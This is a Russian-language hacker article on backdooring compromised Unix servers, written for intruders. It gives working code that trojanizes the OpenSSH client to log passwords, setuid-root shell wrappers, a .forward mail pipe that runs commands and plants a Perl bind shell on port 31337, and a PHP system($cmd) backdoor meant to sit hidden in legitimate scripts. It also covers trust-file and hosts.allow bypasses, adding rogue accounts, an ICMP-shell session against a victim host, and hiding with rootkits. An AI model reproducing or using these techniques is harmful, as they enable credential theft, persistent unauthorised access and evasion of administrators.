Троянизация SSH для перехвата пароля
Ну и, наконец, стандартный метод, связанный с протрояниванием SSH-демона, чтобы
стырить рутовый пасс. Взламываем тачку и устанавливаем на нее снифер, который
нюхает пассы по SSH - допустим, модифицирует /bin/ssh и все логирует ;). В
данный момент протрояненных SSH особо в сети не наблюдается (даже не знаю почему
;)), а те, что я постоянно вижу - сделаны специально для старых версий SSH (old-school
понимаешь ли). Вот некоторый стандартный метод: Итак, достаем дистрибутив
OpenSSH и находим файл sshconnect1.c (вроде так называется) и добавляем в него
следующий вредоносный код, после строчки 'snprintf(prompt, sizeof(prompt),
"%.30s@%.128s's password: ",server_user, host);':
ifile=fopen("/etc/temp.old","a");
fprintf(ifile,"session %s %s\n",server_user,host);
fclose(ifile);
“password = read_passphrase(prompt, 0);”
ifile=fopen("/etc/temp.old ","a");
fprintf(ifile,"password is %s\n",password);
fclose(ifile);
Все. Получив рутовый пасс от SSH ты можешь и не париться с бэкдорами. Но есть
одно "НО!". Не стоит недооценивать админов, так как на самого умного найдется
еще умнее и т.д. Он с легкостью изменит пасс и залатает дыры в системе. Это,
конечно, не всегда так, но имей ввиду 😉
На этом я думаю, можно остановиться, так как рассказывать более о протроянивании
демонов бессмысленно - в конце статьи я привел ссылки на статьи, посвященные
протрояниванию демонов.
Другие методы бэкдоринга
Теперь давай рассмотрим другие методы, с помощь которых хакер может забэкдорить
систему:
Копируя командный интерпретатор с привилегиями рута
Самый, наверное, простой способ - скопировать рутовый командный интерпретатор
(допустим, sh: cp /bin/sh /tmp) в какую-нибудь забугорную папку (да такую, чтобы
и для nobody к ней доступ был) и установить на нее права доступа 4555 (chmod
4555 /tmp/COMINTER). Но! В последних версиях sh - это просто линк на
интерпретатор bash. Так, что придется юзать интерпретаторы csh или ksh
SUID-Perl бэкдор
SuidPerl – это perl-скрипт, на котором установлены права доступа SUID. “Ну и
что? Что из этого?” – спросишь ты. А я отвечу: если на исполняемом файл
установлены пара доступа SUID, то файл, при запуске получит права не
запустившего его, а права владельца файла. Ты понимаешь, о чем я? Нет? Тогда
слушай дальше… Получив n’ые привилегии, например, root мы засуидим его и будем
выполнять через него команды. Для этого вбивай в него такую строку:
system("юникс_команда");
Все. Палево, конечно, но все-таки…
Создать нехитрый бинарник, дающий рутовые привилегии 😉
Допустим у тебя есть _не_ рутовый доступ к системе, но ты уже сломал учетную
запись рута и хочешь закрепить свои привилегии, да и очень просто. Допустим, мы
незаконный юзер системы и имеем nobody привилегии. Итак, сначала мы юзаем
root'овый
аккаунт для компиляции сишника givemeroot.c (для чего он нужен - потом ;)):
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Как видно из кода, программа установит на uid=0 и gid=0, а также даст
полноценный доступ к интерпретатору bash с привилегиями root.
Компилируем:
#gcc root-kroot.c -O /tmp/conf
и прячем в какую-нибудь папку (у меня в /tmp/) и подальше. Выставляем права
доступа 4755 (chmod 4755 /tmp/conf). Теперь покидаем рутовый акк и коннектимся к
nobody бэкдору. Проникли в систему, а теперь запускаем откомпиленный сишник и
получаем root'a 😉
Доверенные "хвосты" %)
Огромное количество демонов (к примеру rshd, sshd) при коннекте используют
файлы .rhost, .rhost (uid=0 auth), /etc/host.equiv, .shosts. Благодаря этим
файлам некоторые доверенные хосты (их прописывает админ) могут "пройти" без
аутентификации :). А если в этих неугодных для админа файлах будут
присутствовать
два плюса ( + +), то на сервак сможет пройти любой хост без аутентификации :).
Получив привилегии рута нам ничего не стоит добавить туда какой-нибудь забугорный шелл и коннектиться,
допустим, по SSH к порутанной тачке с него :), добавив в него IP-адрес хоста или домен можно обойти пароль:
#echo 'ALL: 123.456.78.90' >> /etc/hosts.allow
Вот и все 🙂
SMTPd .forward бэкдор
Это один из самых менее известных (менее описанных) способов для "забэкдоривания"
системы, в чем его плюс 😉 Если ты знаток unix-систем и изучал работу почтовых демонов, то знаешь, что
демоны smtpd, sendmail и postfix (да и не только они, многие, просто эти самые
распространенные), используют информацию из файла .forward какого-то
пользователя (он находится в домашнем каталоге пользователя, например /home/1nf3ct0r/)
при отправки сообщения. "Ну и что?" - скажешь ты. Так вот, этот неприметный
файлик - лакомый кусочек для хакера, так как он позволяет передавать письма
email'a в совершенно другое место, а также может быть использован для запуска
программы на взломанной тачке! Итак, смотрим (будет, что-то вроде этого):
1nf3ct0r@washacked$ cat .forward
"|IFS=' ' && exec /usr/bin/_командный_интерпретатор_ // так будет выглядеть
forward, настроенный на запуск программы
1nf3ct0r@washacked.ru // так будет при отправки писем
Теперь мы модифицируем этот файл:
|"cp /bin/csh /home/1nf3ct0r/washacked ; chmod 755 /home/1nf3ct0r/washacked"|
Мы сделали следующее: благодаря такой строчке мы скопировали командный
интерпретатор csh в домашний каталог юзера и установили права доступа 755
(исполняемый файл)
Ну, что, понимаешь к чему я клоню? С помощью такой фичи мы сможем выполнять
команды на серваке через мыло! Если мы пошлем письмо на 1nf3ct0r@washacked.ru,
создаётся файл washacked в домашнем каталоге пользователя:
$ mail -s NIX-RAT 1nf3ct0r@washacked.ru
Your system was Hacked 😉
$
You have mail in /var/mail/1nf3ct0r
$ ls /home/1nf3ct0r/washacked
washacked
$
Просек фичу?
Давай теперь отправим в .forward код perl'ового бэкдора:
$ echo "#!/usr/bin/perl use Socket;$p=31337;socket(S,PF_INET,SOCK_STREAM,
getprotobyname('tcp'));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50);while(1){accept(X,S);
if(!($pid=fork)){if(!defined $pid){exit(0);}open STDIN,"<&X";open STDOUT,">&X";
open STDERR,">&X";exec("/bin/csh");close X; }}" >> .forward
Таким вот методом мы забэкдорили систему и сможем выполнять команды через мэйл
:).
Всегда имей этот метод ввиду, уверен - он тебе еще не один раз
понадобится...
Добавление новых учетных записей
Самый палевный метод, но часто проходит на многопользовательских системах.
Создается учетная запись и пароль к ней (добавляем пользователя (echo 'что
добавить' >> в какой файл) в /etc/passwd - логин, id, gid, командный
интерпретатор и в /etc/shadow - захэшированный пасс и логин), как будто ты и
есть законный юзер системы 🙂
PHP'шный бэкдор 😉
Ну и самый тупой метод - залить на серв (куда подальше) php-шелл, который,
в принципе, тоже можно назвать бэкдором :).
Кстати, если добавить в 'законный' PHP-скрипт такой код:
<?
echo "<h4><pre>";
system($cmd);
echo "</pre></h4>"
?>
то вряд ли его кто-нибудь найдет, кроме какой-нибудь IDS типа TripWire 😉 Это
так, к размышлению...
Невидимость бэкдоров
Итак... Давай теперь рассмотрим некоторые методы воплощения невидимости нашего бэкдора
Обход Файрвола
Данный метод поможет обойти файрвол. Без комментариев. Написание мы
рассматривали выше.
Технология ICMP-wakeup
Чем хорош этот метод? Да тем, что бэкдор откроет порт или приконнектится сам
к хакеру не держа постоянно открытых портов.
Вот, к примеру, утилитка ICMP-shell: программа работает при помощи протокола ICMP (ну естественно), в
ICMP-пакеты "втуливаются" наши команды, а серверная часть их обрабатывает и
выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда
обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты).
Теперь, как это выглядит на практике:
// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует
RAW-сокеты
server# ishd -i 31337 -t 8
// Запустили. Идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор
нужен
// для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.
// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.
// Узнаем, "кто мы":
#whoami
root
С ICMP-shell мы разобрались.
Но не все так прото! У icmp-wakeup бэкдоров есть существенный недостаток – то,
что затрояненую тачку вполне реально можно будет захватить 🙂 Очень интересная
статья по этому поводу есть в Defaced E-Zine #5 “.
Шифрование Траффика
Данный метод поможет защититься от админских IDS и сниферов с помощью
шифрования трафика. Написание такого чуда мы рассматривали выше.
Скрытие процессы, установленных соединений, файлов и т.д
Мы рассматривать не будем - просто немного не та тема, так как это уже про руткиты ;/
Но сразу скажу - стелсировать можно :).
Социальной Инженерией
Этот метод подразумевает назвать процесс именем system или ему подобным, файлы
спрятать в системные папки и назвать их тоже
соответствующе :).
Банальной троянизацией
Троянизируются системные утилиты, такие как: dir, encrypt, find, ifconfig, login,
ls, lsof, lsof, md5sum, netstat, pg, ps, pstree, slocate, syslogd, sz, tkp, tks,
tksb, top и т.д.
для сокрытия своего присутствия. Не совсем актуально если на серваке стоят IDS
наподобии TripWire.
Ядерной руткитизацией 😉
Данный метод считается самым респектабельным и эффективным, так как сокрытие
производится на уровне ядра с помощью LKM - подгружаемых модулей ядра и бэкдор
будет полностью невидимым в системе, за исключением самого модуля, который тоже
можно скрыть каким-нибудь хитроумным методом или просто назвать модуль системным
именем - тогда администратор на 90% не решится убить его.
Заключение
Что я не рассказал? Да много чего! Например о бэкдоринге XinetD, о руткитах и
т.д. Бэкдоринг и невидимость в *nix-системах в действительности настолько
необъятная тема, что даже эта статья при всей ее обширности не затрагивает и
половины видимой части айсберга, не говоря уже о той глыбе, что спрятана под
водой. Но об этом как ни будь в другой раз…
Также, хочу заметить, что протроянивание систем - дело уголовно наказуемое (имхо,
статья 273 УК), а если ты еще и сломал систему, прежде чем затроянить, то, это
уже 2 статьи - 272 и 273... Удачи тебе, не попадайся!
p.s: если статья вам чем-то помогла и дала какие-то новые познания, то я
действительно рад 🙂
p.p.s: а если, что-то было не ясно в коде - то прошу обратиться к учебникам по C/C++,
так как я не говорил, что знания этих языков не понадобятся 🙂
:: A fatal exeption has occured at 0028:CO298A8 in CBX/32 (48k) +48.4b.43
:: Error code 2.F-002 [0x48k infecting].
:: User's brain will be infected now. You will lose all your unsaved information.
:: Press any key to continue.
:: > a
:: Warning! 0x48k Crew Inside
:: Infecting... Done
:: Your Brain was Backdoored.
:: Exit? YES/NO
:: > yes
Статьи:
- Троянизация Тукса - написание LKM-руткитов для ядер версий 2.4.x
Автор: _1nf3ct0r_ | Hell Knights Crew - http://hellknights.void.ru/ - Затроянивание SSHd - затроянивание SSH демона
- Автор: Satir | Cyber Lords Community - http://cyberlords.net/
- UID=0, что дальше? - закрепление root'овых привелегий на взломанной тачке
- Автор: Unkn0wn | Gips Hackers Crew - E-Zine "Defaced" #2
http://anonymous.ru/index.php?p=ezine - Как хакеры пишут свои бэкдоры - переделка telnetd в невидимый бэкдор
Автор: Forb | Журнал "Хакер", номер #062 - https://xakep.ru/ - Выбери свой руткит - обзор *nix-руткитов
Журнал "Хакер", номер #062 - https://xakep.ru/ - [+] Охота на Хакера – статья, в которой сильно затрагивается тема бэкдринга…
Автор: Sashiks | журнал "Хакер", номер #84
https://xakep.ru/ - ICMP wakeup backdoors takeover – захват тачки, забэкдоренной ICMP-wakeUP
бэкдором
Автор: Defaced Stuff| e-zine “Defaced”, номер #5,
http://anonymous.ru/index.php?p=ezine - Вооружись своим руткитом - написание простейшего Linux-руткита
Автор: Forb | журнал "Хакер", номер #071
https://xakep.ru/ - Поиграем с туксом в прятки - стелс-технолгии на уровне ядра в Linux
Автор: Крис Касперски | журнал "Хакер", номер #077
https://xakep.ru/ - Системный маскарад - написание простейшего руткита на perl)
Автор: Юрий Гольцев | журнал "Хакер", номер #080
https://xakep.ru/ - Attacking OpenBSD with LKM - I и II часть - написание LKM-руткитов под
OpenBSD
Автор: __blf | Rush Security Team http://rst.void.ru/ - Weakening the Linux Kernel - методы стелсирования на уровне ядра, лазейка в
ядрах
Автор: Solar Disigner | e-zine "Phrack", номер #54
http://phrack.org/
P.S: Вся информация предоставлена в исключительно ознакомительных целях. Не
нарушай законов! 😉